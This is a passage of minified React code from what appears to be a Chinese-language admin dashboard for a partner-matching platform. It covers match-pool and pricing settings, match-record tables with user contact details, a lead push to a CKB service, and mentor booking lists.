text-sm",children:[s.jsx("option",{value:"",children:"全部状态"}),Object.entries(c).map(([h,f])=>s.jsx("option",{value:h,children:f},h))]}),s.jsxs(te,{onClick:o,disabled:n,variant:"outline",className:"border-gray-600 text-gray-300",children:[s.jsx(qe,{className:`w-4 h-4 mr-2 ${n?"animate-spin":""}`}),"刷新"]})]})]}),s.jsx(Ce,{className:"bg-[#0f2137] border-gray-700/50",children:s.jsx(Ee,{className:"p-0",children:n?s.jsx("div",{className:"py-12 text-center text-gray-400",children:"加载中..."}):s.jsxs(lr,{children:[s.jsx(cr,{children:s.jsxs(it,{className:"bg-[#0a1628] border-gray-700",children:[s.jsx(ke,{className:"text-gray-400",children:"ID"}),s.jsx(ke,{className:"text-gray-400",children:"用户ID"}),s.jsx(ke,{className:"text-gray-400",children:"导师ID"}),s.jsx(ke,{className:"text-gray-400",children:"类型"}),s.jsx(ke,{className:"text-gray-400",children:"金额"}),s.jsx(ke,{className:"text-gray-400",children:"状态"}),s.jsx(ke,{className:"text-gray-400",children:"创建时间"})]})}),s.jsxs(dr,{children:[t.map(h=>s.jsxs(it,{className:"border-gray-700/50",children:[s.jsx(ve,{className:"text-gray-300",children:h.id}),s.jsx(ve,{className:"text-gray-400",children:h.userId}),s.jsx(ve,{className:"text-gray-400",children:h.mentorId}),s.jsx(ve,{className:"text-gray-400",children:u[h.consultationType]||h.consultationType}),s.jsxs(ve,{className:"text-white",children:["¥",h.amount]}),s.jsx(ve,{className:"text-gray-400",children:c[h.status]||h.status}),s.jsx(ve,{className:"text-gray-500 text-sm",children:h.createdAt})]},h.id)),t.length===0&&s.jsx(it,{children:s.jsx(ve,{colSpan:7,className:"text-center py-12 text-gray-500",children:"暂无预约记录"})})]})]})})})]})}const Lc={poolSource:["vip"],requirePhone:!0,requireNickname:!0,requireAvatar:!1,requireBusiness:!1},Sw={matchTypes:[{id:"partner",label:"找伙伴",matchLabel:"找伙伴",icon:"⭐",matchFromDB:!0,showJoinAfterMatch:!1,price:1,enabled:!0},{id:"investor",label:"资源对接",matchLabel:"资源对接",icon:"👥",matchFromDB:!1,showJoinAfterMatch:!0,price:1,enabled:!0},{id:"mentor",label:"导师顾问",matchLabel:"导师顾问",icon:"❤️",matchFromDB:!1,showJoinAfterMatch:!0,price:1,enabled:!0},{id:"team",label:"团队招募",matchLabel:"加入项目",icon:"🎮",matchFromDB:!1,showJoinAfterMatch:!0,price:1,enabled:!0}],freeMatchLimit:3,matchPrice:1,settings:{enableFreeMatches:!0,enablePaidMatches:!0,maxMatchesPerDay:10},poolSettings:Lc},AV=["⭐","👥","❤️","🎮","💼","🚀","💡","🎯","🔥","✨"];function IV(){const t=Ci(),[e,n]=b.useState(Sw),[r,a]=b.useState(!0),[i,o]=b.useState(!1),[c,u]=b.useState(!1),[h,f]=b.useState(null),[m,g]=b.useState({id:"",label:"",matchLabel:"",icon:"⭐",matchFromDB:!1,showJoinAfterMatch:!0,price:1,enabled:!0}),[y,N]=b.useState(null),[w,v]=b.useState(!1),k=async()=>{v(!0);try{const D=await De("/api/db/match-pool-counts");D!=null&&D.success&&D.data&&N(D.data)}catch(D){console.error("加载池子人数失败:",D)}finally{v(!1)}},C=async()=>{a(!0);try{const D=await De("/api/db/config/full?key=match_config"),z=(D==null?void 0:D.data)??(D==null?void 0:D.config);if(z){let Z=z.poolSettings??Lc;Z.poolSource&&!Array.isArray(Z.poolSource)&&(Z={...Z,poolSource:[Z.poolSource]}),n({...Sw,...z,poolSettings:Z})}}catch(D){console.error("加载匹配配置失败:",D)}finally{a(!1)}};b.useEffect(()=>{C(),k()},[]);const E=async()=>{o(!0);try{const D=await vt("/api/db/config",{key:"match_config",value:e,description:"匹配功能配置"});ie.error((D==null?void 0:D.success)!==!1?"配置保存成功!":"保存失败: "+((D==null?void 0:D.error)||"未知错误"))}catch(D){console.error(D),ie.error("保存失败")}finally{o(!1)}},T=D=>{f(D),g({...D}),u(!0)},I=()=>{f(null),g({id:"",label:"",matchLabel:"",icon:"⭐",matchFromDB:!1,showJoinAfterMatch:!0,price:1,enabled:!0}),u(!0)},O=()=>{if(!m.id||!m.label){ie.error("请填写类型ID和名称");return}const D=[...e.matchTypes];if(h){const z=D.findIndex(Z=>Z.id===h.id);z!==-1&&(D[z]={...m})}else{if(D.some(z=>z.id===m.id)){ie.error("类型ID已存在");return}D.push({...m})}n({...e,matchTypes:D}),u(!1)},L=D=>{confirm("确定要删除这个匹配类型吗?")&&n({...e,matchTypes:e.matchTypes.filter(z=>z.id!==D)})},R=D=>{n({...e,matchTypes:e.matchTypes.map(z=>z.id===D?{...z,enabled:!z.enabled}:z)})};return s.jsxs("div",{className:"space-y-6",children:[s.jsxs("div",{className:"flex justify-end gap-3",children:[s.jsxs(te,{variant:"outline",onClick:C,disabled:r,className:"border-gray-600 text-gray-300 hover:bg-gray-700/50 bg-transparent",children:[s.jsx(qe,{className:`w-4 h-4 mr-2 ${r?"animate-spin":""}`})," 刷新"]}),s.jsxs(te,{onClick:E,disabled:i,className:"bg-[#38bdac] hover:bg-[#2da396] text-white",children:[s.jsx(bn,{className:"w-4 h-4 mr-2"})," ",i?"保存中...":"保存配置"]})]}),s.jsxs(Ce,{className:"bg-[#0f2137] border-gray-700/50",children:[s.jsxs(Ye,{children:[s.jsxs(Qe,{className:"text-white flex items-center gap-2",children:[s.jsx(Qw,{className:"w-5 h-5 text-blue-400"})," 匹配池选择"]}),s.jsx(It,{className:"text-gray-400",children:"选择匹配的用户池和完善程度要求,只有满足条件的用户才可被匹配到"})]}),s.jsxs(Ee,{className:"space-y-6",children:[s.jsxs("div",{className:"space-y-3",children:[s.jsx(X,{className:"text-gray-300",children:"匹配来源池"}),s.jsx("p",{className:"text-gray-500 text-xs",children:"可同时勾选多个池子(取并集匹配)"}),s.jsx("div",{className:"grid grid-cols-1 md:grid-cols-3 gap-3",children:[{value:"vip",label:"超级个体(VIP会员)",desc:"付费 ¥1980 的VIP会员",icon:"👑",countKey:"vip"},{value:"complete",label:"完善资料用户",desc:"符合下方完善度要求的用户",icon:"✅",countKey:"complete"},{value:"all",label:"全部用户",desc:"所有已注册用户",icon:"👥",countKey:"all"}].map(D=>{const z=e.poolSettings??Lc,ne=(Array.isArray(z.poolSource)?z.poolSource:[z.poolSource]).includes(D.value),fe=y==null?void 0:y[D.countKey],xe=()=>{const $=Array.isArray(z.poolSource)?[...z.poolSource]:[z.poolSource],H=ne?$.filter(oe=>oe!==D.value):[...$,D.value];H.length===0&&H.push(D.value),n({...e,poolSettings:{...z,poolSource:H}})};return s.jsxs("button",{type:"button",onClick:xe,className:`p-4 rounded-lg border text-left transition-all ${ne?"border-[#38bdac] bg-[#38bdac]/10":"border-gray-700 bg-[#0a1628] hover:border-gray-600"}`,children:[s.jsxs("div",{className:"flex items-center justify-between",children:[s.jsxs("div",{className:"flex items-center gap-2",children:[s.jsx("div",{className:`w-5 h-5 rounded border-2 flex items-center justify-center text-xs ${ne?"border-[#38bdac] bg-[#38bdac] text-white":"border-gray-600"}`,children:ne&&"✓"}),s.jsx("span",{className:"text-xl",children:D.icon}),s.jsx("span",{className:`text-sm font-medium ${ne?"text-[#38bdac]":"text-gray-300"}`,children:D.label})]}),s.jsxs("span",{className:"text-lg font-bold text-white",children:[w?"...":fe??"-",s.jsx("span",{className:"text-xs text-gray-500 font-normal ml-1",children:"人"})]})]}),s.jsx("p",{className:"text-gray-500 text-xs mt-2",children:D.desc}),s.jsx("span",{role:"link",tabIndex:0,onClick:$=>{$.stopPropagation(),t(`/users?pool=${D.value}`)},onKeyDown:$=>{$.key==="Enter"&&($.stopPropagation(),t(`/users?pool=${D.value}`))},className:"text-[#38bdac] text-xs mt-2 inline-block hover:underline cursor-pointer",children:"查看用户列表 →"})]},D.value)})})]}),s.jsxs("div",{className:"space-y-3 pt-4 border-t border-gray-700/50",children:[s.jsx(X,{className:"text-gray-300",children:"用户资料完善要求(被匹配用户必须满足以下条件)"}),s.jsx("div",{className:"grid grid-cols-2 md:grid-cols-4 gap-4",children:[{key:"requirePhone",label:"有手机号",icon:"📱"},{key:"requireNickname",label:"有昵称",icon:"👤"},{key:"requireAvatar",label:"有头像",icon:"🖼️"},{key:"requireBusiness",label:"有业务需求",icon:"💼"}].map(D=>{const Z=(e.poolSettings??Lc)[D.key];return s.jsxs("div",{className:"flex items-center gap-3 bg-[#0a1628] rounded-lg p-3",children:[s.jsx(kt,{checked:Z,onCheckedChange:ne=>n({...e,poolSettings:{...e.poolSettings??Lc,[D.key]:ne}})}),s.jsxs("div",{className:"flex items-center gap-1.5",children:[s.jsx("span",{children:D.icon}),s.jsx(X,{className:"text-gray-300 text-sm",children:D.label})]})]},D.key)})})]})]})]}),s.jsxs(Ce,{className:"bg-[#0f2137] border-gray-700/50",children:[s.jsxs(Ye,{children:[s.jsxs(Qe,{className:"text-white flex items-center gap-2",children:[s.jsx(li,{className:"w-5 h-5 text-yellow-400"})," 基础设置"]}),s.jsx(It,{className:"text-gray-400",children:"配置免费匹配次数和付费规则"})]}),s.jsxs(Ee,{className:"space-y-6",children:[s.jsxs("div",{className:"grid grid-cols-1 md:grid-cols-3 gap-6",children:[s.jsxs("div",{className:"space-y-2",children:[s.jsx(X,{className:"text-gray-300",children:"每日免费匹配次数"}),s.jsx(se,{type:"number",min:0,max:100,className:"bg-[#0a1628] border-gray-700 text-white",value:e.freeMatchLimit,onChange:D=>n({...e,freeMatchLimit:parseInt(D.target.value,10)||0})})]}),s.jsxs("div",{className:"space-y-2",children:[s.jsx(X,{className:"text-gray-300",children:"付费匹配价格(元)"}),s.jsx(se,{type:"number",min:.01,step:.01,className:"bg-[#0a1628] border-gray-700 text-white",value:e.matchPrice,onChange:D=>n({...e,matchPrice:parseFloat(D.target.value)||1})})]}),s.jsxs("div",{className:"space-y-2",children:[s.jsx(X,{className:"text-gray-300",children:"每日最大匹配次数"}),s.jsx(se,{type:"number",min:1,max:100,className:"bg-[#0a1628] border-gray-700 text-white",value:e.settings.maxMatchesPerDay,onChange:D=>n({...e,settings:{...e.settings,maxMatchesPerDay:parseInt(D.target.value,10)||10}})})]})]}),s.jsxs("div",{className:"flex gap-8 pt-4 border-t border-gray-700/50",children:[s.jsxs("div",{className:"flex items-center gap-3",children:[s.jsx(kt,{checked:e.settings.enableFreeMatches,onCheckedChange:D=>n({...e,settings:{...e.settings,enableFreeMatches:D}})}),s.jsx(X,{className:"text-gray-300",children:"启用免费匹配"})]}),s.jsxs("div",{className:"flex items-center gap-3",children:[s.jsx(kt,{checked:e.settings.enablePaidMatches,onCheckedChange:D=>n({...e,settings:{...e.settings,enablePaidMatches:D}})}),s.jsx(X,{className:"text-gray-300",children:"启用付费匹配"})]})]})]})]}),s.jsxs(Ce,{className:"bg-[#0f2137] border-gray-700/50",children:[s.jsxs(Ye,{className:"flex flex-row items-center justify-between",children:[s.jsxs("div",{children:[s.jsxs(Qe,{className:"text-white flex items-center gap-2",children:[s.jsx(Zn,{className:"w-5 h-5 text-[#38bdac]"})," 匹配类型管理"]}),s.jsx(It,{className:"text-gray-400",children:"配置不同的匹配类型及其价格"})]}),s.jsxs(te,{onClick:I,size:"sm",className:"bg-[#38bdac] hover:bg-[#2da396] text-white",children:[s.jsx(hn,{className:"w-4 h-4 mr-1"})," 添加类型"]})]}),s.jsx(Ee,{children:s.jsxs(lr,{children:[s.jsx(cr,{children:s.jsxs(it,{className:"bg-[#0a1628] hover:bg-[#0a1628] border-gray-700",children:[s.jsx(ke,{className:"text-gray-400",children:"图标"}),s.jsx(ke,{className:"text-gray-400",children:"类型ID"}),s.jsx(ke,{className:"text-gray-400",children:"显示名称"}),s.jsx(ke,{className:"text-gray-400",children:"匹配标签"}),s.jsx(ke,{className:"text-gray-400",children:"价格"}),s.jsx(ke,{className:"text-gray-400",children:"数据库匹配"}),s.jsx(ke,{className:"text-gray-400",children:"状态"}),s.jsx(ke,{className:"text-right text-gray-400",children:"操作"})]})}),s.jsx(dr,{children:e.matchTypes.map(D=>s.jsxs(it,{className:"hover:bg-[#0a1628] border-gray-700/50",children:[s.jsx(ve,{children:s.jsx("span",{className:"text-2xl",children:D.icon})}),s.jsx(ve,{className:"font-mono text-gray-300",children:D.id}),s.jsx(ve,{className:"text-white font-medium",children:D.label}),s.jsx(ve,{className:"text-gray-300",children:D.matchLabel}),s.jsx(ve,{children:s.jsxs(We,{className:"bg-yellow-500/20 text-yellow-400 hover:bg-yellow-500/20 border-0",children:["¥",D.price]})}),s.jsx(ve,{children:D.matchFromDB?s.jsx(We,{className:"bg-green-500/20 text-green-400 hover:bg-green-500/20 border-0",children:"是"}):s.jsx(We,{variant:"outline",className:"text-gray-500 border-gray-600",children:"否"})}),s.jsx(ve,{children:s.jsx(kt,{checked:D.enabled,onCheckedChange:()=>R(D.id)})}),s.jsx(ve,{className:"text-right",children:s.jsxs("div",{className:"flex items-center justify-end gap-1",children:[s.jsx(te,{variant:"ghost",size:"sm",onClick:()=>T(D),className:"text-gray-400 hover:text-[#38bdac] hover:bg-[#38bdac]/10",children:s.jsx(Wt,{className:"w-4 h-4"})}),s.jsx(te,{variant:"ghost",size:"sm",onClick:()=>L(D.id),className:"text-red-400 hover:text-red-300 hover:bg-red-500/10",children:s.jsx(Jn,{className:"w-4 h-4"})})]})})]},D.id))})]})})]}),s.jsx(Dt,{open:c,onOpenChange:u,children:s.jsxs(At,{className:"bg-[#0f2137] border-gray-700 text-white max-w-lg",showCloseButton:!0,children:[s.jsx(Lt,{children:s.jsxs(_t,{className:"text-white flex items-center gap-2",children:[h?s.jsx(Wt,{className:"w-5 h-5 text-[#38bdac]"}):s.jsx(hn,{className:"w-5 h-5 text-[#38bdac]"}),h?"编辑匹配类型":"添加匹配类型"]})}),s.jsxs("div",{className:"space-y-4 py-4",children:[s.jsxs("div",{className:"grid grid-cols-2 gap-4",children:[s.jsxs("div",{className:"space-y-2",children:[s.jsx(X,{className:"text-gray-300",children:"类型ID(英文)"}),s.jsx(se,{className:"bg-[#0a1628] border-gray-700 text-white",placeholder:"如: partner",value:m.id,onChange:D=>g({...m,id:D.target.value}),disabled:!!h})]}),s.jsxs("div",{className:"space-y-2",children:[s.jsx(X,{className:"text-gray-300",children:"图标"}),s.jsx("div",{className:"flex gap-1 flex-wrap",children:AV.map(D=>s.jsx("button",{type:"button",className:`w-8 h-8 text-lg rounded ${m.icon===D?"bg-[#38bdac]/30 ring-1 ring-[#38bdac]":"bg-[#0a1628]"}`,onClick:()=>g({...m,icon:D}),children:D},D))})]})]}),s.jsxs("div",{className:"grid grid-cols-2 gap-4",children:[s.jsxs("div",{className:"space-y-2",children:[s.jsx(X,{className:"text-gray-300",children:"显示名称"}),s.jsx(se,{className:"bg-[#0a1628] border-gray-700 text-white",placeholder:"如: 超级个体",value:m.label,onChange:D=>g({...m,label:D.target.value})})]}),s.jsxs("div",{className:"space-y-2",children:[s.jsx(X,{className:"text-gray-300",children:"匹配标签"}),s.jsx(se,{className:"bg-[#0a1628] border-gray-700 text-white",placeholder:"如: 超级个体",value:m.matchLabel,onChange:D=>g({...m,matchLabel:D.target.value})})]})]}),s.jsxs("div",{className:"space-y-2",children:[s.jsx(X,{className:"text-gray-300",children:"单次匹配价格(元)"}),s.jsx(se,{type:"number",min:.01,step:.01,className:"bg-[#0a1628] border-gray-700 text-white",value:m.price,onChange:D=>g({...m,price:parseFloat(D.target.value)||1})})]}),s.jsxs("div",{className:"flex gap-6 pt-2",children:[s.jsxs("div",{className:"flex items-center gap-3",children:[s.jsx(kt,{checked:m.matchFromDB,onCheckedChange:D=>g({...m,matchFromDB:D})}),s.jsx(X,{className:"text-gray-300 text-sm",children:"从数据库匹配"})]}),s.jsxs("div",{className:"flex items-center gap-3",children:[s.jsx(kt,{checked:m.showJoinAfterMatch,onCheckedChange:D=>g({...m,showJoinAfterMatch:D})}),s.jsx(X,{className:"text-gray-300 text-sm",children:"匹配后显示加入"})]}),s.jsxs("div",{className:"flex items-center gap-3",children:[s.jsx(kt,{checked:m.enabled,onCheckedChange:D=>g({...m,enabled:D})}),s.jsx(X,{className:"text-gray-300 text-sm",children:"启用"})]})]})]}),s.jsxs(on,{children:[s.jsx(te,{variant:"outline",onClick:()=>u(!1),className:"border-gray-600 text-gray-300 hover:bg-gray-700/50 bg-transparent",children:"取消"}),s.jsxs(te,{onClick:O,className:"bg-[#38bdac] hover:bg-[#2da396] text-white",children:[s.jsx(bn,{className:"w-4 h-4 mr-2"})," 保存"]})]})]})})]})}const Cw={partner:"找伙伴",investor:"资源对接",mentor:"导师顾问",team:"团队招募"};function RV(){const[t,e]=b.useState([]),[n,r]=b.useState(0),[a,i]=b.useState(1),[o,c]=b.useState(10),[u,h]=b.useState(""),[f,m]=b.useState(!0),[g,y]=b.useState(null),[N,w]=b.useState(null);async function v(){m(!0),y(null);try{const E=new URLSearchParams({page:String(a),pageSize:String(o)});u&&E.set("matchType",u);const T=await De(`/api/db/match-records?${E}`);T!=null&&T.success?(e(T.records||[]),r(T.total??0)):y("加载匹配记录失败")}catch{y("加载失败,请检查网络后重试")}finally{m(!1)}}b.useEffect(()=>{v()},[a,u]);const k=Math.ceil(n/o)||1,C=({userId:E,nickname:T,avatar:I})=>s.jsxs("div",{className:"flex items-center gap-3 cursor-pointer group",onClick:()=>w(E),children:[s.jsxs("div",{className:"w-9 h-9 rounded-full bg-[#38bdac]/20 flex items-center justify-center text-sm font-medium text-[#38bdac] flex-shrink-0 overflow-hidden",children:[I?s.jsx("img",{src:I,alt:"",className:"w-full h-full object-cover",onError:O=>{O.currentTarget.style.display="none"}}):null,s.jsx("span",{className:I?"hidden":"",children:(T||E||"?").charAt(0)})]}),s.jsxs("div",{children:[s.jsx("div",{className:"text-white group-hover:text-[#38bdac] transition-colors",children:T||E}),s.jsxs("div",{className:"text-xs text-gray-500 font-mono",children:[E==null?void 0:E.slice(0,16),(E==null?void 0:E.length)>16?"...":""]})]})]});return s.jsxs("div",{children:[g&&s.jsxs("div",{className:"mb-4 px-4 py-3 rounded-lg bg-red-500/20 border border-red-500/50 text-red-400 text-sm flex items-center justify-between",children:[s.jsx("span",{children:g}),s.jsx("button",{type:"button",onClick:()=>y(null),className:"hover:text-red-300",children:"×"})]}),s.jsxs("div",{className:"flex justify-between items-center mb-4",children:[s.jsxs("p",{className:"text-gray-400",children:["共 ",n," 条匹配记录 · 点击用户名查看详情"]}),s.jsxs("div",{className:"flex items-center gap-4",children:[s.jsxs("select",{value:u,onChange:E=>{h(E.target.value),i(1)},className:"bg-[#0f2137] border border-gray-700 text-white rounded-lg px-3 py-2 text-sm",children:[s.jsx("option",{value:"",children:"全部类型"}),Object.entries(Cw).map(([E,T])=>s.jsx("option",{value:E,children:T},E))]}),s.jsxs("button",{type:"button",onClick:v,disabled:f,className:"flex items-center gap-2 px-4 py-2 rounded-lg border border-gray-600 text-gray-300 hover:bg-gray-700/50 transition-colors disabled:opacity-50",children:[s.jsx(qe,{className:`w-4 h-4 ${f?"animate-spin":""}`})," 刷新"]})]})]}),s.jsx(Ce,{className:"bg-[#0f2137] border-gray-700/50 shadow-xl",children:s.jsx(Ee,{className:"p-0",children:f?s.jsxs("div",{className:"flex justify-center py-12",children:[s.jsx(qe,{className:"w-6 h-6 text-[#38bdac] animate-spin"}),s.jsx("span",{className:"ml-2 text-gray-400",children:"加载中..."})]}):s.jsxs(s.Fragment,{children:[s.jsxs(lr,{children:[s.jsx(cr,{children:s.jsxs(it,{className:"bg-[#0a1628] hover:bg-[#0a1628] border-gray-700",children:[s.jsx(ke,{className:"text-gray-400",children:"发起人"}),s.jsx(ke,{className:"text-gray-400",children:"匹配到"}),s.jsx(ke,{className:"text-gray-400",children:"类型"}),s.jsx(ke,{className:"text-gray-400",children:"联系方式"}),s.jsx(ke,{className:"text-gray-400",children:"匹配时间"})]})}),s.jsxs(dr,{children:[t.map(E=>s.jsxs(it,{className:"hover:bg-[#0a1628] border-gray-700/50",children:[s.jsx(ve,{children:s.jsx(C,{userId:E.userId,nickname:E.userNickname,avatar:E.userAvatar})}),s.jsx(ve,{children:E.matchedUserId?s.jsx(C,{userId:E.matchedUserId,nickname:E.matchedNickname,avatar:E.matchedUserAvatar}):s.jsx("span",{className:"text-gray-500",children:"—"})}),s.jsx(ve,{children:s.jsx(We,{className:"bg-[#38bdac]/20 text-[#38bdac] border-0",children:Cw[E.matchType]||E.matchType})}),s.jsxs(ve,{className:"text-sm",children:[E.phone&&s.jsxs("div",{className:"text-green-400",children:["📱 ",E.phone]}),E.wechatId&&s.jsxs("div",{className:"text-blue-400",children:["💬 ",E.wechatId]}),!E.phone&&!E.wechatId&&s.jsx("span",{className:"text-gray-600",children:"-"})]}),s.jsx(ve,{className:"text-gray-400",children:E.createdAt?new Date(E.createdAt).toLocaleString():"-"})]},E.id)),t.length===0&&s.jsx(it,{children:s.jsx(ve,{colSpan:5,className:"text-center py-12 text-gray-500",children:"暂无匹配记录"})})]})]}),s.jsx(is,{page:a,totalPages:k,total:n,pageSize:o,onPageChange:i,onPageSizeChange:E=>{c(E),i(1)}})]})})}),s.jsx(n0,{open:!!N,onClose:()=>w(null),userId:N,onUserUpdated:v})]})}function PV(){const[t,e]=b.useState("records");return s.jsxs("div",{className:"space-y-4",children:[s.jsxs("div",{className:"flex gap-2",children:[s.jsx("button",{type:"button",onClick:()=>e("records"),className:`px-4 py-2 rounded-lg text-sm font-medium transition-all ${t==="records"?"bg-[#38bdac]/20 text-[#38bdac] border border-[#38bdac]/50":"bg-[#0a1628] text-gray-400 border border-gray-700 hover:text-white"}`,children:"匹配记录"}),s.jsx("button",{type:"button",onClick:()=>e("pool"),className:`px-4 py-2 rounded-lg text-sm font-medium transition-all ${t==="pool"?"bg-[#38bdac]/20 text-[#38bdac] border border-[#38bdac]/50":"bg-[#0a1628] text-gray-400 border border-gray-700 hover:text-white"}`,children:"匹配池设置"})]}),t==="records"&&s.jsx(RV,{}),t==="pool"&&s.jsx(IV,{})]})}const Ew={investor:"资源对接",mentor:"导师顾问",team:"团队招募"};function OV(){const[t,e]=b.useState([]),[n,r]=b.useState(0),[a,i]=b.useState(1),[o,c]=b.useState(10),[u,h]=b.useState(!0),[f,m]=b.useState("investor"),[g,y]=b.useState(null);async function N(){h(!0);try{const C=new URLSearchParams({page:String(a),pageSize:String(o),matchType:f}),E=await De(`/api/db/match-records?${C}`);E!=null&&E.success&&(e(E.records||[]),r(E.total??0))}catch(C){console.error(C)}finally{h(!1)}}b.useEffect(()=>{N()},[a,f]);const w=async C=>{if(!C.phone&&!C.wechatId){ie.info("该记录无联系方式,无法推送到存客宝");return}y(C.id);try{const E=await vt("/api/ckb/join",{type:C.matchType||"investor",phone:C.phone||"",wechat:C.wechatId||"",userId:C.userId,name:C.userNickname||""});ie.error((E==null?void 0:E.message)||(E!=null&&E.success?"推送成功":"推送失败"))}catch(E){ie.error("推送失败: "+(E instanceof Error?E.message:"网络错误"))}finally{y(null)}},v=Math.ceil(n/o)||1,k=C=>!!(C.phone||C.wechatId);return s.jsxs("div",{children:[s.jsxs("div",{className:"flex justify-between items-center mb-4",children:[s.jsxs("div",{children:[s.jsx("p",{className:"text-gray-400",children:"点击获客:有人填写手机号/微信号的直接显示,可一键推送到存客宝"}),s.jsxs("p",{className:"text-gray-500 text-xs mt-1",children:["共 ",n," 条记录 — 有联系方式的可触发存客宝添加好友"]})]}),s.jsxs("div",{className:"flex items-center gap-2",children:[s.jsx("select",{value:f,onChange:C=>{m(C.target.value),i(1)},className:"bg-[#0f2137] border border-gray-700 text-white rounded-lg px-3 py-2 text-sm",children:Object.entries(Ew).map(([C,E])=>s.jsx("option",{value:C,children:E},C))}),s.jsxs(te,{onClick:N,disabled:u,variant:"outline",className:"border-gray-600 text-gray-300 hover:bg-gray-700/50 bg-transparent",children:[s.jsx(qe,{className:`w-4 h-4 mr-2 ${u?"animate-spin":""}`})," 刷新"]})]})]}),s.jsx(Ce,{className:"bg-[#0f2137] border-gray-700/50 shadow-xl",children:s.jsx(Ee,{className:"p-0",children:u?s.jsxs("div",{className:"flex justify-center py-12",children:[s.jsx(qe,{className:"w-6 h-6 text-[#38bdac] animate-spin"}),s.jsx("span",{className:"ml-2 text-gray-400",children:"加载中..."})]}):s.jsxs(s.Fragment,{children:[s.jsxs(lr,{children:[s.jsx(cr,{children:s.jsxs(it,{className:"bg-[#0a1628] hover:bg-[#0a1628] border-gray-700",children:[s.jsx(ke,{className:"text-gray-400",children:"发起人"}),s.jsx(ke,{className:"text-gray-400",children:"匹配到"}),s.jsx(ke,{className:"text-gray-400",children:"类型"}),s.jsx(ke,{className:"text-gray-400",children:"联系方式"}),s.jsx(ke,{className:"text-gray-400",children:"时间"}),s.jsx(ke,{className:"text-gray-400 text-right",children:"操作"})]})}),s.jsxs(dr,{children:[t.map(C=>{var E,T;return s.jsxs(it,{className:`border-gray-700/50 ${k(C)?"hover:bg-[#0a1628]":"opacity-60"}`,children:[s.jsx(ve,{className:"text-white",children:C.userNickname||((E=C.userId)==null?void 0:E.slice(0,12))}),s.jsx(ve,{className:"text-white",children:C.matchedNickname||((T=C.matchedUserId)==null?void 0:T.slice(0,12))}),s.jsx(ve,{children:s.jsx(We,{className:"bg-[#38bdac]/20 text-[#38bdac] border-0",children:Ew[C.matchType]||C.matchType})}),s.jsxs(ve,{className:"text-sm",children:[C.phone&&s.jsxs("div",{className:"text-green-400",children:["📱 ",C.phone]}),C.wechatId&&s.jsxs("div",{className:"text-blue-400",children:["💬 ",C.wechatId]}),!C.phone&&!C.wechatId&&s.jsx("span",{className:"text-gray-600",children:"无联系方式"})]}),s.jsx(ve,{className:"text-gray-400 text-sm",children:C.createdAt?new Date(C.createdAt).toLocaleString():"-"}),s.jsx(ve,{className:"text-right",children:k(C)?s.jsxs(te,{size:"sm",onClick:()=>w(C),disabled:g===C.id,className:"bg-[#38bdac] hover:bg-[#2da396] text-white text-xs h-7 px-3",children:[s.jsx(TA,{className:"w-3 h-3 mr-1"}),g===C.id?"推送中...":"推送CKB"]}):s.jsx("span",{className:"text-gray-600 text-xs",children:"—"})})]},C.id)}),t.length===0&&s.jsx(it,{children:s.jsx(ve,{colSpan:6,className:"text-center py-12 text-gray-500",children:"暂无记录"})})]})]}),s.jsx(is,{page:a,totalPages:v,total:n,pageSize:o,onPageChange:i,onPageSizeChange:C=>{c(C),i(1)}})]})})})]})}const Tw={created:"已创建",pending_pay:"待支付",paid:"已支付",completed:"已完成",cancelled:"已取消"},DV={single:"单次",half_year:"半年",year:"年度"};function LV(){const[t,e]=b.useState([]),[n,r]=b.useState(!0),[a,i]=b.useState("");async function o(){r(!0);try{const c=a?`/api/db/mentor-consultations?status=${a}`:"/api/db/mentor-consultations",u=await De(c);u!=null&&u.success&&u.data&&e(u.data)}catch(c){console.error(c)}finally{r(!1)}}return b.useEffect(()=>{o()},[a]),s.jsxs("div",{children:[s.jsxs("div",{className:"flex justify-between items-center mb-4",children:[s.jsx("p",{className:"text-gray-400",children:"导师咨询预约记录"}),s.jsxs("div",{className:"flex items-center gap-2",children:[s.jsxs("select",{value:a,onChange:c=>i(c.target.value),className:"bg-[#0f2137] border border-gray-700 rounded-lg px-3 py-2 text-gray-300 text-sm",children:[s.jsx("option",{value:"",children:"全部状态"}),Object.entries(Tw).map(([c,u])=>s.jsx("option",{value:c,children:u},c))]}),s.jsxs(te,{onClick:o,disabled:n,variant:"outline",className:"border-gray-600 text-gray-300 hover:bg-gray-700/50 bg-transparent",children:[s.jsx(qe,{className:`w-4 h-4 mr-2 ${n?"animate-spin":""}`})," 刷新"]})]})]}),s.jsx(Ce,{className:"bg-[#0f2137] border-gray-700/50",children:s.jsx(Ee,{className:"p-0",children:n?s.jsx("div",{className:"py-12 text-center text-gray-400",children:"加载中..."}):s.jsxs(lr,{children:[s.jsx(cr,{children:s.jsxs(it,{className:"bg-[#0a1628] border-gray-700",children:[s.jsx(ke,{className:"text-gray-400",children:"ID"}),s.jsx(ke,{className:"text-gray-400",children:"用户ID"}),s.jsx(ke,{className:"text-gray-400",children:"导师ID"}),s.jsx(ke,{className:"text-gray-400",children:"类型"}),s.jsx(ke,{className:"text-gray-400",children:"金额"}),s.jsx(ke,{className:"text-gray-400",children:"状态"}),s.jsx(ke,{className:"text-gray-400",children:"创建时间"})]})}),s.jsxs(dr,{children:[t.map(c=>s.jsxs(it,{className:"border-gray-700/50",children:[s.jsx(ve,{className:"text-gray-300",children:c.id}),s.jsx(ve,{className:"text-gray-400",children:c.userId}),s.jsx(ve,{className:"text-gray-400",children:c.mentorId}),s.jsx(ve,{className:"text-gray-400",children:DV[c.consultationType]||c.consultationType}),s.jsxs(ve,{className:"text-white",children:["¥",c.amount]}),s.jsx(ve,{className:"text-gray-400",children:Tw[c.status]||c.status}),s.jsx(ve,{className:"text-gray-500 text-sm",children:c.createdAt?new Date(c.createdAt).toLocaleString():"-"})]},c.id)),t.length===0&&s.jsx(it,{children:s.jsx(ve,{colSpan:7,className:"text-center py-12 text-gray-500",children:"暂无预约记录"})})]})]})})})]})}function _V(){const[t,e]=b.useState("booking");return s.jsxs("div",{className:"space-y-4",children:[s.jsxs("div",{className:"flex gap-2",children:[s.jsx("button",{type:"button",onClick:()=>e("booking"),className:`px-4 py-2 rounded-lg text-sm font-medium transition-all ${t==="booking"?"bg-[#38bdac]/20 text-[#38bdac] border border-[#38bdac]/50":"bg-[#0a1628] text-gray-400 border border-gray-700 hover:text-white"}`,children:"预约记录"}),s.jsx("button",{type:"button",onClick:()=>e("manage"),className:`px-4 py-2 rounded-lg text-sm font-medium transition-all ${t==="manage"?"bg-[#38bdac]/20 text-[#38bdac] border border-[#38bdac]/50":"bg-[#0a1628] text-gray-400 border border-gray-700 